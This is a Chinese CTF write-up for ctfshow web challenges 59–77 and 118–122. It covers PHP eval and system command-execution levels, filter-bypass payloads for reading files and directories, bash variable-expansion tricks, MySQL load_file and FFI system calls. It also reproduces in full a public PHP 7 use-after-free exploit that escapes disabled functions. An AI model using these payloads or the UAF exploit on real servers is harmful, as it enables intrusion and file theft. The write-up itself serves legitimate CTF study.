c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
1
//通过单一函数读取文件c=echo file_get_contents("flag.php");c=readfile("flag.php");c=var_dump(file('flag.php'));c=print_r(file('flag.php'));//这里做一个解释`file — 把整个文件读入一个数组中`
1
通过fopen去读取文件内容,这里介绍下函数fread()fgets()fgetc()fgetss()fgetcsv()gpassthru()payload:c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
1
//通过高亮显示php文件show_source("flag.php");             highlight_file("flag.php");

web59

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下    //paylaod汇总c=highlight_file("flag.php");c=var_dump(file("flag.php")); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}c=$a=fopen("flag.php","r");echo fread($a,"1000");c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下    //payload汇总c=highlight_file("flag.php");c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}同时记录一个,但是这道题不能用$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用还有新姿势    //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)copy()rename()//用法:copy("flag.php","flag.txt");             //过60rename("flag.php","flag.txt");           //过60

先执行c=copy(“flag.php”,”flag.txt”); 再访问 太厉害了

rename(“flag.php”,”flag.txt”); 直接把flag改成静态文件的名字

web61

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web62

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web63

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web64

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web65

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

差不多的 应该是后台又禁用了一些函数

1
c=highlight_file('flag.php');c=show_source('flag.php');

学习一下Y4师傅的payload

1
为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));//payload:c=show_source('flag.php');c=highlight_file('flag.php');c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web66

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

用c=highlight_file(‘flag.php’);读取flag.php文件

回显不在这里

想办法读一下目录

1
c=print_r(scandir('/'));c=var_dump(scandir('/'));

可以看到第六个文件是flag.txt

show_source函数被禁了

show_source() has been disabled

1
c=highlight_file('/flag.txt');
1
csdn://下面是payloadc=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt');c=highlight_file('/flag.txt');

web67

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

print_r函数被禁了

用var_dump函数读取目录

1
c=var_dump(scandir('/'));

然后读取flag文件

1
c=highlight_file('/flag.txt');
1
csdn://下面是payloadc=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt');c=highlight_file('/flag.txt');

web68

打开就显示函数错误 因为highlight_file()函数禁了 看不到源码了 不管那么多 先看一下目录

1
c=var_dump(scandir('/'));

发现了flag.txt

直接开始读

发现这俩个函数都禁了

1
c=highlight_file('flag.php');c=show_source('flag.php');

换新的

1
c=include('/flag.txt');

web69

想读目录 var_dump print_r也禁了

看目录新姿势

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

然后读文件

1
c=include('/flag.txt');
1
csdn://payload介绍c=include('/flag.txt');c=require('/flag.txt');c=require_once('/flag.txt');

web70

和web69一样 但是多了几个函数的禁用

1
c=include('/flag.txt');

web71

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

增加了两个新函数

ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

image-20210730124234719

image-20210730124242809

image-20210730124344601

image-20210730124357667

简而言之就是把该输出的内容放进$s 然后抹去输出 经过匹配替换后再输出内容

本地实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$a = 'system("whoami");';
eval($a);
//正常输出
<?php
$a = 'system("whoami");';
eval($a);
ob_get_contents();
ob_end_clean();
//无输出
<?php
$a = 'system("whoami");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c.'1';
//输出的是最后一行 与题目一样 前面的命令执行被抹除了

新技巧:这里只要让脚本提前终止运行就可以了

1
c=include('/flag.txt');exit();

web72

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

flag.txt已经不在了

读目录

1
2
3
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag0.txt 但是却不能读

看提示里说利用uaf的脚本进行命令执行

了解到知识点是 bypass open_basedir

现成的脚本:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

ctfshow版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

用bp发包 url编码后赋值给参数c

image-20210730140752887

web73

读目录:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

看到flagc.txt

做法一:
1
c=require('/flagc.txt');exit();
做法二:
1
post:c=include($_GET['url']);exit();post:c=include($_GET['url']);ob_end();get:?url=php://filter/convert.base64-encode/resource=/flagc.txt

web74

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flagx.txt

1
c=require_once('/flagx.txt');exit();

web75

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag36.txt

但是用之前的函数读不了了

新技巧:看了wp是用mysql load_file读文件 太秀了。。。

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

美化版:

1
c=try {	$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');	foreach($dbh->query('select load_file("/flag36.txt")') as $row) {		echo($row[0])."|";	}	$dbh = null;}catch (PDOException $e) { //捕捉异常	echo $e->getMessage();	exit(0);}exit(0);

web76

读目录:

1
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

看到flag36d.txt

用mysql load_file读文件

1
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

web77

读目录:

1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

看到flag36x.txt 还有一个readflag文件

新技巧:

FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html

什么是FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

1
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象$a='/readflag > 1.txt';//没有回显的$ffi->system($a);//通过$ffi去调用system函数
1
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();

利用该payload执行readfile 将文件输出到当前目录下的1.txt

然后通过url直接访问就可以

web118

打开页面有一个输入框 查看源代码

有一行

1
<!-- system($code);-->

猜测输入框内应该是code

post传参code

知识点: Bash的内置变量

大佬的讲解

image-20210818191725755

这个题不同的环境会有不同的结果 题目本身也很绝

1
2
payload: code=${PATH:~A}${PWD:~A} ????.???
code=${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

在118的基础上增加了 PATH、BASH、HOME的过滤

payload1:

1
2
3
4
5
6
7
8
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}} ====> /



code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
/bin/cat flag.php

payload2:

1
2
3
4
5
6
7
8
9
10
${#SHLVL}   ====>   1

${PWD::${#SHLVL}} ====> / //本地环境未成功

${PWD:${#}:${#SHLVL}} ====> /


code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64

这题真的绝

web120

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

限制了长度

1
2
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? //有些费眼

web121

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

增加了过滤字符 过滤多了几个变量 没过滤WD和RANDOM

想办法替换上一个payload

过滤了SHLVL,可以用 $?替代

1
2
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? //有些费眼
1
2
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

image-20210818203211813

替换后

1
2
3
4
5
6
7
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
rev 查看文件是从最后一个字符显示到第一个字符。例如:
cat 显示为:
asdf
sdfa

web122

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}

?>

增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了

1
2
$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

image-20210818205209012

image-20210818205223629

1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

绝了